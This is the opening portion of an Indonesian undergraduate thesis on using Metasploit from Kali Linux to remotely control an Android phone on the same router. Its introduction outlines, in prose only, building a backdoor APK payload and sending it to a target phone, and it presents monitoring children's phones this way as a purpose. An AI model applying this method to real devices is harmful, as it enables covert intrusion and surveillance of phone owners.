


















 

 
 

ABSTRAK 

NOVRIANSYAH RISKI PUTRA 

Implementasi Metasploit Framework Untuk Meremote Android Dalam Satu 

Router Menggunakan Kali Linux  

2019 

Penelitian ini berdasarkan studi pustaka tentang sistem keamanan jaringan. 

Seiring semakin banyaknya penggunaan komputer sebagai media penghubung 

antara pengguna 1 dengan yang lainnya, maka diperlukannya sistem keamanan 

yang baik untuk mengamankan data ataupun hal yang penting pada saat 

menggunakan jaringan komputer. Dalam keamanan jaringan memiliki beberapa 

metode yang digunakan untuk mengamankan jaringan tersebut. Pada penelitian ini 

menggunakan metode Metasploit Framework yang merupakan sebuah metode 

keamanan yang menggabungkan antara identifikasi dan penindakan. Metode ini 

terdapat pada sistem operasi Kali Linux. Dalam penerapannya Metasploit 

Framework akan terhubung pada 1 PC dan smartphone dan 1 wireless router, 

pembagiannya sebagai berikut : PC 1 sebagai server yang sudah di install 

Metasploit Framework, smartphone sebagai target penyerangan dari metasploit 

framework dan wireless router sebagai penghubung dan penyedia jaringan. 

Metode ini adalah metode yang paling mudah untuk diterapkan pada sebuah 

jaringan komputer, oleh sebab itu maka penulis mengangkat judul ini untuk 

memudahkan pembaca dalam penerapan metode Metasploit Framework. 

Kata Kunci : Sistem keamanan jaringan, Metasploit Framework, wireless, 

router, kali linux, Android. 
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BAB I 

PENDAHULUAN 

 

1. 1 Latar Belakang Masalah 

Kata “linux” pasti sudah tidak asing lag ibagi para pengguna internet 

khususnya bagi kalangan mahasiswa yang hobi mencoba software-software 

terbaru .Secara singkat, linux adalah suatu sistem operasi open source yang 

bersifat multi-tasking dan multi-user. Sistem operasi ini menerapkan standard 

POSIX ( Portable Opertaing System for Unix). Linux dapat beroperasi dengan 

sistem operasi yang lain ,seperti Windows dan Mac. 

Bagi para pengguna internet yang sebelumnya menggunakan Windows, 

mulai banyak beralih ke sistem operasi Linux dikarenakan kebijaksanaan pihak 

Windows untuk memastikan keaslian dari produknya pada setiap user .Bukan hal 

yang mudah untuk menggunakan Linux ,butuh waktu untuk mempelajari sistem 

operasi Linux dan memilih distro Linux yang ingin kita gunakan. Dari beberapa 

banyak distro Linux yang ada ,disini saya sebagai penulis memilih Kali Linux 

yang lebih dominan digunakan untuk menguji coba keamanan suatu jaringan. Kali 

Linux yang saya gunakan untuk pengerjaan skripsi ini adalah versi 4.19.13, untuk 

penggunaan sistem operasi Kali Linux ini lebih sedikit bila dibandingkan dengan 

pengguna Ubuntu. Cara menggunakan Kali Linux ini lebih rumit di bandingkan 

denganUbuntu, mungkin ini adalah salah satu alasan pengguna Ubuntu lebih 

dominan dibandingkan pengguna Kali Linux . Di kesempatan kali ini ,saya akan 

mencoba meremote perangkat android menggunakan metasploit framework yang 

dapat dijalankan melalui terminal pada kali linux. 

1 
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Berdasarkan penjelasan dari latar belakang di atas,maka penulis 

mengangkat judul yaitu “IMPLEMENTASI METASPLOITFRAMEWORK 

UNTUK MEREMOTEANDROID DALAM SATU ROUTER 

MENGGUNAKAN KALI LINUX”. 

 

1. 2 Rumusan Masalah 

Berdasarkan latar belakang masalah yang telah diuraikan di atas, maka 

rumusan masalah dalam penelitian ini adalah : 

1. Bagaimana cara meremote android dengan metasploit framework 

menggunakan kali linux? 

2. Bagaimana mengexploitasi target yang ingin diserang melalui terminal pada 

kali linux? 

3. Bagaimana dan apa saja perintah-perintah yang di ketikkan untuk remote 

android pada Terminal ? 

 

1. 3 Batasan Masalah 

Berdasarkan latar belakang masalah yang telah diuraikan di atas, maka 

batasan masalah dalam penulisan ini adalah : 

1. Membuat file payload (backdoornya)  pada terminal di kali linux. 

2. Mengirim file payload (backdoornya) ke android yang ingin diserang. 

3. Dengan membuka msfconsole di Terminal, kemudian mengecek IP Address 

lalu menginputkannya di msfconsole serta port yang kita gunakandan 

mencreateapknya dengan nama yang kitainginkan. 
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1. 4 Tujuan Penelitian 

Berdasarkan rumusan masalah yang telah dijelaskan diatas, berikut 

merupakan tujuan penelitian dari penulisan skripsi ini yaitu : 

1. Untuk meremoteandroid dengan metasploit framework menggunakan kali 

linux. 

2. Untuk mengexploitasi target yang ingin diremote menggunakan kali linux. 

3. Untuk mengawasi penggunaan android pada anak-anak dalam suatu ruang 

lingkup yang terhubung pada jaringan dalam router yang sama.  

 

1. 5 Manfaat Penelitian 

Dari penelitian yang dilakukan, bahwa di sebuah data pribadi sangat 

memerlukan tingkat keamanan yang terjaga kerahasiaannya. Maka dari itu hasil 

manfaat penelitian ini sebagai berikut: 

1. Manfaat penelitian bagi peneliti ialah peneliti dapat melakukan remote 

terhadap android dengan melakukan remote android dari kali linux didalam 

satu jaringan pada router yang sama. 

2. Manfaat bagikalanga nmahasiswa, mahasiswa dapat mengetahui aplikasi untuk 

penyerangan terhadap android dan dapat meremote android. Sehingga 

mahasiswa dapat menghindari serangan-serangan seperti itu dengan menginstal 

lanti virus tambahan pada smartphonenya. 

3. Bermanfaat bagi perusahaan merupakan sebagai keamanan sistem android 

menggunakan sistem operasi kali linux. 
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BAB II 

LANDASAN TEORI 

 

2. 1 Pengertian Implementasi 

implementasi adalah aktivitas yang saling menyesuaikan proses interaksi 

antara tujuan dan tindakan untuk mencapainya serta memerlukan jaringan 

pelaksana, yang efektif. Kemudian dalam proses untuk melaksanakan kebijakan 

menjadi tindakan ke dalam administrasi. Pengembangan kebijakan dalam rangka 

penyempurnaan suatu program. 

Dalam perspektif hasil, program dapat dinilai berhasil kalau program itu 

menghasilkan dampak seperti yang diinginkan. Satu program yang mungkin saja 

berhasil dilihat dari sudut proses, tetapi bisa saja gagal ditangan dan dampak yang 

dihasilkan atau sebaliknya, untuk mengukur kinerja dari implementasi kebijakan 

publik pada dasarnya baru memperhatikan variabel-variabel. ( Rini Hadiyanti, 

2013) 

 

2. 2 Pengertian Keamanan Jaringan 

Keamanan jaringan pada intinya adalah mengendalikan akses terhadap 

sumber daya jaringan. Akses jaringan dikontrol agar bisa diakses oleh siapa saja 

yang berhak dan menghalangi orang atau subjek yang tidak terdaftar untuk 

mengaksesnya. Prinsip keamanan jaringan di klasifikasikan menjadi 3 bagian :  

1. Confidentiality ( Kerahasiaan)  

Confidentiality mengacu pada kerahasiaan dalam sebuah objek, dimana 

sebuah objek akan dijaga agar tidak diakses oleh subjek yang tidak berhak. 

4 
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Contoh data-data yang sifatnya pribadi  adalah nomor kartu kredit, nomor 

paspor, nama, nomor telepon, password, agama, status perkawinan dan lain-

lain.  

2. Integrity (Integritas) 

Integrity mengacu pada objek yang asli (original), dimana objek tidak berubah 

di perjalanan hingga sampai ke tujuan dari objek tersebut. Sebagai contoh, 

email yang dikirim oleh seseorang bisa di curi ditengah jalan kemudian diubah 

isinya dan  baru dikirim ke penerima sebenarnya sehingga data yang diterima 

oleh penerima telah berubah dari yang diinginkan oleh pengirim. Bentuk 

serangan terhadap aspek integrity diantaranya adalah Trojan horse, virus, atau 

pemakai lain yang berada ditengah komunikasi. Untuk mengatasi hal tersebut, 

maka perlu dibuat mekanisme proteksi agar data tidak bisa diubah oleh pihak-

pihak yang tak diizinkan.  

3. Availability ( Ketersediaan )  

Availability mengacu pada ketersediaan resource dengan tepat, dimana user 

mempunyai hak akses tepat waktu dan tidak terkendala apapun. (Syariful 

Ikhwan dan Ikhwana Elfitri, 2014). 

 

2. 3 Wireless Network 

Jaringan lokal tanpa kabel atau WLAN adalah suatu jaringan area lokal 

tanpa kabel dimana media transmisinya menggunakan frekuensi radio (RF) dan 

infrared (IR), untuk memberi sebuah koneksi jaringan ke seluruh penggunadalam 

area disekitarnya. Area jangkauannya dapat berjarak dari ruangan kelas ke seluruh 

kampus atau dari kantor ke kantor yang lain dan berlainan gedung. Peranti yang 
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umumnya digunakan untuk jaringan WLAN termasuk di dalamnya adalah PC, 

Laptop, PDA, telepon seluler, dan lain sebagainya. Teknologi WLAN ini 

memiliki kegunaan yang sangat banyak. Contohnya, pengguna mobile bisa 

menggunakan telepon seluler mereka untuk mengakses e-mail. Sementara itu para 

pelancong dengan laptopnya bisa terhubung ke internet ketika mereka sedang di 

bandara, kafe, kereta api dan tempat publik lainnya. (Dedi Darmawan dan Linda 

Marlinda, 2015). 

Wireless adalah jika dari arti katanya dapat diartikan tanpa kabel, yaitu 

melakukan suatu hubungan telekomunikasi menggunakan gelombang 

elektromagnetik sebagai pengganti media kabel. Saat ini teknologi wireless sudah 

berkembang pesat, buktinya dapat dilihat dapat dilihat dengan semakin banyaknya 

yang menggunakan telepon sellular, selain itu berkembang juga teknologi wireless 

yang dipakai untuk mengakses internet (Muhammad Addy Rahmadani et al, 

2017). 

 

2. 4 Jenis Serangan Cyber 

Beberapa jenis serangan yang umum terjadi pada system keaman 

diantaranya port scanning, sniffing, ICMP flood, dan hijacking. Port scanning 

merupakan suatu proses untuk mencari dan membuka pada port komunikasi pada 

sebuah celah jaringan komputer. Dari hasil serangan tersebut akan didapatkan 

celah atau lubang kelemahan sebuah server yang diserang. Packet sniffing 

merupakan pencegatan data paket-paket yang mengalir pada jaringan. Dengan 

sebuah aplikasi yang beroperasi pada lapisan ke 2 OSI dan juga kombinasi dari 

NIC yang berada pada mode promiscuous (mode mendengar) untuk menangkap 
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semua traffic yang mengalir dari dan menuju ke jaringan internet pada suatu 

jaringan. ICMP flood dilakukan oleh seorang hacker dengan cara melakukan 

eksploitasi ke system server dengan tujuan untuk membuat suatu target menjadi 

hang, yang disebabkan oleh pengiriman sejumlah paket yang besar ke arah target 

server. Exploting sistem ini dilakukan dengan mengirimkan suatu command ping 

dengan tujuan broadcast ataupun multicast dimana si pengirim dibuat seolah-olah 

adalah target host. Hijacking atau yang disebut dengan man-in-the-middle-attack 

(MITM) sebuah teknik serangan yang memanfaatkan kelemahan dari protocol 

TCP/IP. Serangan dilakukan ketika terdapat diantara 2 user yang sedang 

berkomunikasi, tetapi terdapat seseorang yang lain yang secara aktif memonitor, 

men-capture, dan mengontrol komunikasi tersebut secara transparan. (Shah 

Khadafi, et al. 2017).  

 

2. 5 Pengertian Flowchart  

Flowchart adalah yang berisikan simbol-simbol untuk menentukan alur 

dari perancangan sistem. Flowchart berfungsi sebagai alat bantu dalam 

mempersiapkan program yang sukar dan sebagai garis alur dalam mengerjakan 

sistem yang kita buat, sehingga sistem tersebut dapat tersusun dengan rapi sesuai 

rangkaian pada alur program. Simbol-simbol yang khusus dalam pembuatan 

flowchart untuk merangkai garis alur program yang memiliki fungsi masing-

masing, sebagai berikut:  
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Tabel 2.1 Simbol-simbol Flowchart 

N

o 

Simbol 

Flowchart 

Fungsinya 

1  Terminal atau Start, berfungsi untuk memulai dan 

mengakhiri alur program. 

2  

 

Process, adalah untuk mengolah dan mengubah 

data yang ada didalam komputer.  

3  

 

Decision, digunakan untuk menentukan operasi 

perbandingan logika ketika masuk pada alur 

program. 

4  

 

Input dan Output, adalah simbol yang digunakan 

untuk memasukan data yang biasanya berupa 

username dan password, dimana hasil dari proses.  

5  

 

Connector, adalah menentukan hubungan arus 

proses program yang berjalan dalam halaman yang 

sama.  

6  

 

 

Arrow Flow, adalah untuk menunjukkan alur proses 

program yang terdiri dari, alur atas ke bawah, kanan 

ke kiri dan juga sebaliknya.  

7  

 

Document, adalah sebuah simbol untuk data atau 

informasi.   

 
Sumber : Jogiyanto Hartono, MBA., Ph.D, 2016 
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2. 6 GNU/Linux 

GNU merupakan singkatan rekursif dari “GNU's Not Unix” (GNU bukan 

Unix) serta dilafalkan ge-nuu. Proyek GNU diluncurkan pada tahun 1984 untuk 

mengembangkan -sebuah sistem operasi lengkap serupa Unix yang berbasis 

perangkat lunak bebas yaitu sistem GNU. Kernel GNU tidak pernah rampung, 

sehingga GNU menggunakan kernel Linux. Kombinasi GNU dan Linux 

merupakan sistem operasi GNU/Linux, yang kini digunakan secara meluas. 

Proyek GNU telah mengembangkan sebuah sistem perangkat lunak bebas lengkap 

yaitu ``GNU'' (GNU's Not Unix, GNU bukan Unix) yang kompatibel dengan Unix. 

Richard Stallman menulis dokumen pertama dari proyek ini yaitu Manifesto GNU 

(31k huruf), yang telah diterjemahkan ke berbagai bahasa lain. Pengumuman 

pertama perihal proyek ini ditulis pada tahun 1983. Kata ``bebas'' di atas 

menyangkut pengertian kebebasan, dan bukan bebas tidak membayar. Anda 

mungkin perlu atau pun tidak perlu membayar, untuk mendapatkan perangkat 

lunak GNU. Dengan cara yang mana pun, setelah memiliki perangkat lunak 

tersebut, anda mendapatkan tiga jenis "kebebasan" dalam menggunakannya. 

Pertama, kebebasan untuk menggandakan program tersebut serta memberikannya 

ke teman atau sejawat anda. Kedua, kebebasan untuk merubah source code 

program sesuai dengan keinginan anda. Ketiga, kebebasan untuk mendistribusikan 

dan versi perbaikan, sehingga ikut membantu pembangunan masyarakat (Jika 

anda kita mendistribusikan ulang perangkat lunak GNU, anda dapat meminta 

biaya duplikasi, atau juga dapat memberikan secara cuma-cuma. (Edy Budi 

Harjono, 2016). 
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Linux adalah sebuah aplikasi atau program yang menggunakan kernel 

sebagai sistem operasi. Script pertama Linux dirancang dan ditulis oleh seorang 

mahasiswa dari Finlandia bernama "Linus Torvalds" untuk Intel 80386 arsitektur. 

Script lain dari Linux yang tersedia di Internet pada tahun 1991. Setelah itu, 

banyak orang bermain peran penting dalam mengembangkan dan memperluas 

Linux di berbagai belahan dunia. Sistemnya, peralatan sistem dan pustakanya 

umumnya berasal dari sistem operasi GNU, yang diumumkan tahun 1983 oleh 

Richard Stallman. Kontribusi GNU adalah dasar dari munculnya nama alternatif 

GNU/Linux. Dia menggunakan alat proyek GNU dan dengan demikian sistem 

operasi dikembangkan melalui proyek GNU / Linux.  (Edy Budi Harjono, 2016) 

 

2. 7 Topologi jaringan 

Topologi adalah suatu aturan/rules bagaimana menghubungkan komputer 

(node) satu sama lain secara fisik dan pola hubungan antara komponen-komponen 

yang berkomunikasi melalui media/peralatan jaringan, seperti : server, 

workstation, hub/switch, dan pengabelannya, sedangkan jaringan merupakan 

sebuah sistem yang terdiri atas komputer, perangkat komputer, tambahan dan 

perangkat jaringan lainnya yang saling berhubungan dengan menggunakan media 

tertentu dengan aturan yang sudah ditetapkan. 

Topologi jaringan komputer adalah suatu cara menghubungkan komputer 

yang satu dengan komputer lainnya sehingga membentuk jaringan. Dalam suatu 

jaringan komputer jenis topologi yang dipilih akan mempengaruhi kecepatan 

komunikasi. Untuk itu maka perlu dicermati kelebihan/keuntungan dan 
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kekurangan/kerugian dari masing-masing topologi berdasarkan karakteristiknya 

(Satukan Halawa, 2016). 

Topologi jaringan atau arsitektur jaringan adalah gambaran perencanaan  

hubungan antarkomputer dalam Local Area Network (LAN) yang umumnya 

menggunakan kabel (sebagai media transmisi, dengan konektor, ethernet card, dan 

perangkat pendukung lainnya. Jenisi-Jenis Topologi: (Herlina Latipa Sari et al., 

2013). 

1. Topologi Bus  

2. Topologi Star  

3. Topologi Ring  

4. Topologi Mesh 

 

2. 8 Router 

Router adalah sebuah alat jaringan komputer yang mengirimkan paket data 

melalui sebuah jaringan atau Internet menuju tujuannya, melalui sebuah proses 

yang dikenal sebagai routing. Proses routing terjadi pada lapisan 3 (Lapisan 

jaringan seperti Internet Protocol)  dari stack protokol tujuh-lapis OSI. Sebuah 

router mampu mengirimkan data/informasi dari satu jaringan ke jaringan lain 

yang berbeda. Router akan mencari jalur terbaik untuk mengirimkan sebuah pesan 

yang berdasarkan atas alamat tujuan dan alamat asal. Router mengetahui alamat 

masing-masing komputer di lingkungan jaringan lokalnya. Router memiliki 

kemampuan melewatkan paket IP dari satu jaringan ke jaringan lain yang 

mungkin memiliki banyak jalur diantara keduanya. Router dapat digunakan untuk 
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menghubungkan sejumlah LAN (Local Area Network), sehingga trafik yang 

dibangkitkan oleh suatu LAN terisolasikan dengan baik. 

Dari uraian diatas dapat disimpulkan bahwa router adalah perangkat yang 

bertanggung jawab dalam melewatkan dan menerima paket data. Router memiliki 

kemampuan melewatkan paket IP dari satu jaringan ke jaringan lain yang 

mungkin memiliki banyak jalur diantara keduanya. Router-router yang saling 

terhubung dalam jaringan internet turut serta dalam sebuah algoritma routing 

terdistribusi untuk menentukan jalur terbaik yang dilalui paket IP dari system ke 

system lain.   

  Router berfungsi sebagai sebuah alat penghubung di antara rangkaian yang 

berlainan.  Semasa paket dihantar, router akan menjalankan beberapa proses 

penting diantaranya ialah : membuat terjemahan protokol, mengemaskan jadual 

haluan, mengirim paket, membungkus paket dan membuka bungkusan paket 

Fungsi router adalah sebagai berikut :  

1. Membaca alamat logika / ip address source & destination untuk menentukan 

routing dari suatu LAN ke LAN lainnya. 

2. Menyimpan routing table untuk menentukan rute terbaik antara LAN ke 

WAN.  

3. Perangkat di layer 3 OSI Layer. 

4. Bisa berupa “box” atau sebuah OS yang  menjalankan sebuah  daemon 

routing. 

 5.   Interfaces Ethernet, Serial, ISDN BRI.  
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Beberapa kelebihan router yaitu dapat menghubungkan dua atau lebih 

rangkaian untuk membentuk satu rangkaian internetwork, dapat menghubungkan 

dua rangkaian yang berlainan protokol, dan mengawal keselamatan rangkaian 

dengan membuat lapisan pada paket. Kemampuan yang dimiliki router pada 

sebuah LAN, dintaranya :  

1. Router dapat menerjemahkan informasi diantara LAN dan internet 

2. Router akan mencarikan alternatif jalur yang terbaik untuk mengirimkan data 

melewati internet.  

3. Mengatur jalur sinyal secara efisien dan dapat mengatur data yang mengalir 

diantara dua buah protokol. 

4. Dapat mengatur aliran data di antara topologi jaringan bus dan topologi star.  

5. Dapat mengatur aliran data melewati kabel fiber optic, kabel koaksial atau 

kabel twisted pair.  

 

2. 9 Local Area Network (LAN)  

Sebuah LAN adalah jaringan yang dibatasi oleh area yang relatif kecil, 

umumnya dibatasi oleh area lingkungan, seperti sebuah kantor pada setia gedung, 

atau tiap-tiap ruangan pada sebuah sekolah. Biasanya jarak antarnode tidak lebih 

jauh dari sekitar 200 m. Sifat-sifat LAN selain areanya local adalah memiliki 

kecepatan yang sangat tinggi. LAN seringkali digunakan untuk menghubungkan 

komputer-komputer pribadi dan workstation dalam kantor perusahaan atau pabrik-

pabrik untuk memakai bersama resource (misalnya, printer, scanner) dan saling 

bertukar informasi. LAN dapat dibedakan dari jenis jaringan lainnya berdasarkan 

tiga karakteriskomputer: ukuran, teknologi transmisi dan topologinya.   
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Beberapa model konfigurasi LAN, satu komputer biasanya di jadikan 

sebuah file server. Yang mana digunakan untuk menyimpan perangkat lunak 

(software) yang mengatur aktifitas jaringan, ataupun sebagai perangkat lunak 

yang dapat digunakan oleh komputer-komputer yang terhubung ke dalam 

network. Komputer-komputer yang terhubung ke dalam jaringan itu biasanya 

disebut dengan workstation. Biasanya kemampuan workstation lebih di bawah 

dari file server dan mempunyai aplikasi lain di dalam harddisk nya selain aplikasi 

untuk jaringan. Kebanyakan LAN menggunakan media kabel untuk 

menghubungkan antara satu komputer dengan komputer lainnya. (Herlina Latipa 

Sari et al., 2013). 

 

2. 10 Kali Linux 

Linux adalah sistem operasi berbasis GNU/Linux yang bersifat Open 

Source dan memiliki banyak varian seperti Debian, Slackware, Open Suse, 

Archlinux, Redhat dan sebagainya. Walaupun sangat banyak varian GNU/Linux 

hanya menyediakan aplikasi yang sudah ditentukan  yang mungkin kurang 

bermanfaat oleh pengguna sehingga hal ini mengakibatkan banyak pengguna yang 

melakukan remastering  untuk memenuhi kebutuhannya. Remastering adalah 

proses membuat sistem operasi baru dengan mengurangi atau menambahkan fitur-

fiturnya dari distro GNU/Linux yang telah ada.  

Ada beberapa GNU/Linux hasil remaster dikhususkan untuk kebutuhan 

tertentu diantaranya seperti Ubuntu studio yang dibuat untuk keperluan 

multimedia. GNU/Linux sabily yang dibuat untuk umat muslim dan 

Backtrack/Kali untuk kebutuhan penetration testing. tujuannya untuk 
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mempermudah, mempercepat pemasangan karena kendala keterbatasan koneksi 

internet dan konfigurasi kebutuhan pemrograman pada GNU/Linux. (Edy Budi 

Harjono, 2016). 

Kali Linux adalah distribusi berlandasan distribusi Debian GNU/Linux 

untuk tujuan forensik digital dan di gunakan untuk pengujian penetrasi, yang 

dipelihara dan didanai oleh Offensive Security. Kali Linux juga dikembangkan 

oleh Offensive Security sebagai penerus BackTrack Linux. Kali Linux 

menyediakan pengguna dengan mudah akses terhadap koleksi yang besar sebagai 

alat yang berhubungan dengan keamanan, termasuk port scanner untuk password 

cracker. Pembangunan kembali BackTrack Linux secara sempurna, mengikuti 

sepenuhnya kepada standar pengembangan Debian. (Muhammad Addy 

Rahmadani dan Mochammad Fahru Rizal, 2017). 

2. 11  Android 

Android adalah sebuah sistem operasi perangkat mobile berbasis linux 

yang mencangkup sistem operasi, middleware dan aplikasi. Android menyediakan 

platform terbuka bagi para pengembang untuk menciptakan aplikasi mereka.  

Awalnya, Google Inc. membeli Android Inc. yang merupakan pendatang baru 

yang membuat peranti lunak untuk ponsel atau smartphone. Kemudian untuk 

mengembangkan Android, dibentuklah Open Handset Alliance, konsorsium dari 

34 perusahaan peranti keras, peranti lunak dan telekomunikasi, termasuk Google, 

HTC, Intel, Motorola, Qualcomm, T-Mobile, dan Nvidia. Pada saat perilisan 

perdana Android, 5 November 2007, Android bersama Open Handset Alliance 

menyatakan mendukung pengembangan open source pada perangkat mobile. Di 
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lain pihak, Google merilis kode-kode Android di bawah lisensi Apache, sebuah 

lisensi perangkat lunak dan open platform perangkat seluler (Andi Juansyah, 

2015). 

Android merupakan sistem operasi berbasis Linux yang digunakan untuk 

perangkat seluler. Android menyediakan platform terbuka bagi para pengembang 

untuk menciptakan aplikasi mereka sendiri. Android adalah sebuah software untuk 

perangkat mobile yang mencakup sistem operasi, middleware, dan aplikasi. 

Android pada mulanya didirikan oleh Andy Rubin, Rich Miner, Nick Sears, dan 

Chris White pada tahun 2003 

Perilisan perdana Android, 5 November 2007, Android bersama Open 

Handset Alliance menyatakan mendukung pengembangan standar terbuka pada 

perangkat seluler. Di lain pihak, Google merilis kode–kode Android di bawah 

lisensi Apache, sebuah lisensi perangkat lunak dan standar terbuka perangkat 

seluler. Android menyediakan platform terbuka bagi para pengembang buat 

menciptakan aplikasi mereka sendiri untuk digunakan oleh bermacam peranti 

mobile. Beberapa fitur utama dari Android antara lain Wi-Fi hotspot, Multi-touch, 

Multitasking, GPS, Support Java, mendukung banyak jaringan (GSM/EDGE, 

IDEN, CDMA, EV-DO, UMTS, Bluetooth, Wi-Fi, LTE, and WiMAX) dan juga 

kemampuan dasar handphone pada umumnya.  

Secara garis besar, arsitektur Android terdiri atas Application & Widgets, 

Application Frameworks, Libraries,dan Android Run Time. (Ir.Yuniar Supradi,  

2017) 
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1. Application & Widgets merupakan layer (lapis) di mana kita berhubungan 

dengan aplikasi saja. 

2. Application Frameworks merupakan Open Development Platform yang 

ditawarkan Android untuk dapat dikembangkan guna membangun aplikasi. 

3. Libraries merupakan layer dimana fitur-fitur Android berada. 

4. Android Run Time merupakan layer yang membuat aplikasi Android dapat 

dijalankan dimana dalam prosesnya menggunakan implementasi Linux. 

 

2. 12  Metasploit Framework 

Metasploit merupakan software security yang sering digunakan untuk 

menguji coba ketahuan suatu sistem dengan cara mengeksploitasi kelemahan 

software suatu sistem. Metasploit diciptakan HD Moore pada tahun 2003 sebagai 

alat jaringan portable menggunakan bahasa scripting perl. Kemudian, metasploit 

framework benar-benar ditulis ulang dalam bahasa pemrograman oleh Ruby. Pada 

tanggal 21 oktober 2009. Proyek metasploit mengumumkan yang telah di akuisisi 

oleh Rapid7, sebuah perusahaan keamanan yang menyediakan solusi kerentanan 

mmanajemen terpadu. 

Seperti produk komersial yang sebanding seperti kanvas imunitas atau inti 

Dampak Core Security Technologies, metasploit digunakan untu menguji 

kerentanan sistem komputer untuk melindungi mereka atau untuk masuk ke 

sistem remote. Metasploit biasanya digunakan untuk kegiatan baik yang sah dan 

tidak sah. Sejak si akuisisi dari Metasploit Framework. Metasploit menyerang 

dengan istilah remote exploitation, maksudnya penyerang berada dari jarak jauh 
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namun dapat mengendalikan target melalui exploit yang ada. Exploit ini berisi 

payload yang sudah ditentukan penyerang. Metasploit framework bisa juga di 

katakan sebagai sebuah platform pengembangan untuk membuat tool security dan 

exploit.  

Metasploit framework sering dibuat dengan menggunakan bahasa 

pemrograman Ruby. Fungsi dasar dari metasploit framework adalah untuk 

memunculkan modul, membiarkan penggunanya mengkonfigurasikan modul 

exploit dan mencobanya pada target yang dituju. Metasploit biasa dikaitkan 

dengan istilah remote exploitation, maksudnya walaupun penyusup sistem berada 

padajarakjangkauan yang jauh tetapi dapat mengendalikan komputer korban. 

Metasploit menyerang dengan cara mengirimkan exploit yang berisi payload yang 

sudah ditentukan oleh penyusup sistem pada komputer korban. 

Exploit merupakan software yang berfungsi untuk memanfaatkan 

kelemahan pada software korban(misal web browser), setelah berhasil 

mengeksploitasinya exploit tersebut memasukkan payload ke dalam memori 

korban. Walaupun exploit sering digunakan untuk menyerang kerapuhan 

keamanan (security vulnerability) yang spesifik namun tidak selalu bertujuan 

untuk melancarkan aksi yangtidak diinginkan. Banyak peneliti keamanan 

komputer menggunakan exploit untuk mendemonstrasikan bahwa suatusistem 

memiliki kerapuhan. 

Payload merupakan sebuah file executable milik penyusup yang akan di 

run pada komputer korban dengan tujuan dapat mengendalikan komputer tersebut 

secara remote atau memasang backdoor, trojan, virus, worm, dan lain-lain. 
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Payload dapat disusupi setelah bug berhasil diexploitasi oleh Metasploit 

Framework.  

Misal kita pilih payload Generic/Shell_Bind_TCP, artinya kita akan 

mengambil alih Shell Bind dari target hacking kita. Metasploit framework 

mempunyai banyak kegunaan dalam berbagai bidang diantaranya adalah : 

1. Pada bidang keamanan jaringan untuk melakukan tes penetrasi 

2. administrator sistem untuk memverifikasi instalasi dan patch sistemnya 

3. vendor produk untuk melakukan tes kelemahan dan peneliti-peneliti 

keamanan lainnya didunia 

4. Riset dan penelitian eksploitasi keamanan 

5. memahami cara kerja serangan 

6. Tes penetrasi 

7. Tes IPS/IDS 

8. Demo atau presentasi 

9. Legal hacking (Roni Anggara Putra et al., 2017) 

 

2. 13  Smartphone 

Smartphone adalah telepon genggam yang mempunyai kemampuan 

dengan pengunaan dan fungsi yang menyerupai komputer. Belum ada standar 

pabrik yang menentukan arti smartphone. Bagi beberapa orang, smartphone 

merupakan telepon yang bekerja menggunakan seluruh perangkat lunak sistem 

operasi yang menyediakan hubungan standar dan mendasar bagi pengembang 

aplikasi. Bagi yang lainnya, smartphone hanyalah merupakan sebuah telepon yang 
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menyajikan fitur canggih seperti surel (surat elektronik), internet dan kemampuan 

membaca buku elektronik (e-book) atau terdapat papan ketik (baik sebagaimana 

jadi maupun dihubung keluar). Dengan kata lain, smartphone merupakan 

komputer kecil yang mempunyai kemampuan sebuah telepon. Pertumbuhan 

permintaan akan alat canggih yang mudah dibawa ke mana-mana membuat 

kemajuan besar dalam pemroses, pengingatan, layar dan sistem operasi yang di 

luar dari jalur telepon genggam sejak beberapa tahun ini  

Kebanyakan alat yang dikategorikan sebagai smartphone menggunakan 

sistem operasi yang berbeda. Dalam hal fitur, kebanyakan smartphone 

mendukung sepenuhnya fasilitas surel dengan fungsi pengatur personal yang 

lengkap. Fungsi lainnya dapat menyertakan miniature papan ketik QWERTY, 

layar sentuh atau Dpad, kamera, pengaturan daftar nama, penghitung kecepatan, 

navigasi piranti lunak dan keras, kemampuan membaca dokumen bisnis, pemutar 

musik, penjelajah foto dan melihat klip video, penjelajah internet, atau hanya 

sekedar akses aman untuk membuka surel perusahaan, seperti yang ditawarkan 

oleh BlackBerry. Fitur yang paling sering ditemukan dalam smartphone adalah 

kemampuannya menyimpan daftar nama sebanyak mungkin, tidak seperti telepon 

genggam biasa yang mempunyai batasan maksimum penyimpanan daftar nama. 

(Intan Trivena Maria Daeng et al., 2017) 

 

2. 14 Sistem Operasi 

Sistem Operasi merupakan program utama yang menghubungkan 

Software aplikasi yang digunakan oleh user dengan hardware. Pengertian sistem 

operasi secara umum ialah pengelola seluruh sumber-daya yang terdapat pada 
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sistem komputer dan menyediakan sekumpulan layanan (system calls) yang sering 

disebut “tools atau utility” berupa aplikasi kepemakai sehingga memudahkan dan 

menyamankan penggunaan ketika memanfaatan sumber-daya sistem komputer 

tersebut.   

Jenis Sistem Operasi dapat dibedakan berdasarkan jumlah pengguna dan 

program yang dapat dijalankan, juga berdasarkan jenis software, atau jenis 

hardware yang digunakan. Berdasarkan jumlah pengguna dan program yang 

dijalankan, sistem operasi dapat dikategorikan dengan:  

1. Single User – Single Tasking : Satu komputer hanya bisa digunakan oleh satu 

user dan hanya bisa menjalankan satu program di satu waktu, contohnya: 

DOS (Disk Operating System). 

2.  Single User – Multi Tasking : Satu komputer dipakai oleh satu user dan dapat 

menjalankan banyak program disatu waktu, contohnya: Windows, MacOS, 

BeOS, JDS, dll.  

3. Single User – Multi Tasking : Satu komputer dipakai oleh satu user dan dapat 

menjalankan banyak program disatu waktu, contohnya: Windows, MacOS, 

BeOS, JDS, dll.  

4. Multi User – Multi Tasking : Satu komputer dipakai bersamaan oleh banyak 

user yang dapat menjalankan banyak program di satu waktu, contohnya: 

Unix, Linux, FreeBSD (SO turunan Unix) atau Windows dengan aplikasi 

Citrix Metaframe, dll. (Barka Satya, 2010) 
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BAB III 

METODE PENELITIAN 

3. 1 Tahapan penelitian 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Gambar 3.1 Diagram Tahapan Penelitian
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Dari diagram diatas dapat disimpulkan alurnya sebagai berikut : 

1. Perumusan masalah adalah merumuskan sebuah masalah untuk mencari 

solusi yang tepat terhadap masalah tersebut. 

2. Penentuan tujuan adalah menentukan tujuan sistem apa yg akan di bangun 

atas dasar masalah yang ada. 

3. Studi pustaka adalah mencari sumber referensi yang cocok sesuai sistem yang 

akan di bangun. 

4. Pengumpulan data adalah mengumpulkan data-data yang akan digunakan 

